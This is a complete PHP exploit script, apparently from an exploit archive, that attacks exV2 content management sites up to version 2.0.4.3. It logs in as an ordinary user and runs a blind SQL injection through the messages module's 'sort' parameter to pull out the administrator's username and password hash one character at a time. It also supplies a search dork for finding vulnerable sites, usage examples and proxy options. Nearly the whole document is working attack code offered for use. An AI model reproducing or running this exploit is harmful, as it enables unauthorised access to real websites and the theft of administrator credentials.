exV2 <= 2.0.4.3 (sort) Remote SQL Injection Exploit

===================================================
exV2 <= 2.0.4.3 (sort) Remote SQL Injection Exploit
===================================================



#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
-------------------------------------------------------------------------------
exV2 <= 2.0.4.3 "sort" SQL injection / administrative credentials disclosure
exploit
dork: "Powered by eXV2 Vers"
-------------------------------------------------------------------------------
');
/*
this works regardless of php.ini settings
against Mysql >= 4.1 (allowing subs)
and if 'messages' module is enabled
*/
if ($argc<4) {
print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path user pass OPTIONS
host:      target server (ip/hostname)
path:      path to exv2
user/pass: valide user credentials
Options:
 -T[prefix:   specify a table prefix, other than default (exv2_)
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' 2.2.2.2 /exv2/ rgod test -P1.1.1.1:80
php '.$argv[0].' 1.1.1.1 / rgod test -p81
-----------------------------------------------------------------------------
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$uname=$argv[3];
$pass=$argv[4];
$prefix="exv2_";

$port=80;
$proxy="";
for ($i=5; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
  $prefix=str_replace("-T","",$argv[$i]);
}
}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

//login
$data="uname=$uname&pass=$pass&op=login";
$packet ="POST ".$p."user.php HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
  $temp2=explode(" ",$temp[$i]);
  $temp3=explode("\r",$temp2[0]);
  if (!strstr($temp3[0],";")){$temp3[0]=$temp3[0].";";}
  $cookie.=$temp3[0];
}
echo "cookie ->".$cookie."\n";

//retrieve your user id
$packet ="GET ".$p."edituser.php HTTP/1.0\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("userinfo.php?uid=",$html);
$temp2=explode("'",$temp[1]);
$uid=(int)$temp2[0];
echo "uid -> ".$uid."\n";

//configure your message box, needed...
$data ="msg_mail=0";
$data.="&msg_showdisc=0";
$data.="&msg_showsend=0";
$data.="&update=0";
$data.="&op=config_save";
$data.="&submit=Save";
$packet ="POST ".$p."modules/messages/conf.php HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

//send to yourself some messages...
for ($i=2; $i>=1; $i--)
{
$data='-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="to_userid"

'.$uid.'
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="subject"

11111111111111111111111'.$i.'
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="message"

11111111111111111111111
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="MAX_FILE_SIZE"

256000
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="msg_attachment"; filename=""


-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="msg_attachment[max_file_size]"

256000
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="msg_attachment[accepted]"


-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="allow_html"

1
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="allow_smileys"

1
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="allow_bbcode"

1
-----------------------------7d626f251b00fa
Content-Disposition: form-data; name="submit"

Envoyer
-----------------------------7d626f251b00fa--
';
$packet="POST ".$p."modules/messages/pmlite.php HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d626f251b00fa\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: $cookie\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(2);
}

//let's go...
$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$j=1;
$my_password="";
while (!strstr($my_password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{
$sql="(SELECT(IF((ASCII(SUBSTRING(pass,$j,1))=".$i."),msg_time,subject))FROM/**/".$prefix."users/**/WHERE/**/rank=7/**/and/**/level=5)/**/ASC/**/LIMIT/**/1/*";
echo "sql -> ".$sql."\r\n";
$sql=urlencode($sql);
$packet ="GET ".$p."modules/messages/index.php?sort=$sql&by=suntzu HTTP/1.0\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (!strstr($html,"111111111111111111111111")){$my_password.=chr($i);echo "password -> ".$my_password."[???]\n";sleep(1);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}

$j=1;
$my_admin="";
while (!strstr($my_admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="(SELECT(IF((ASCII(SUBSTRING(uname,$j,1))=".$i."),msg_time,subject))FROM/**/".$prefix."users/**/WHERE/**/rank=7/**/and/**/level=5)/**/ASC/**/LIMIT/**/1/*";
echo "sql -> ".$sql."\r\n";
$sql=urlencode($sql);
$packet ="GET ".$p."modules/messages/index.php?sort=$sql&by=suntzu HTTP/1.0\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (!strstr($html,"111111111111111111111111")){$my_admin.=chr($i);echo "admin -> ".$my_admin."[???]\n";sleep(1);break;}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
echo "--------------------------------------------------------------------\n";
echo "admin          -> ".$my_admin."\n";
echo "password (md5) -> ".$my_password."\n";
echo "--------------------------------------------------------------------\n";

function is_hash($hash)
{
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
 else {return false;}
}

if (is_hash($my_password)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
?>




#  0day.today [2018-03-09]  #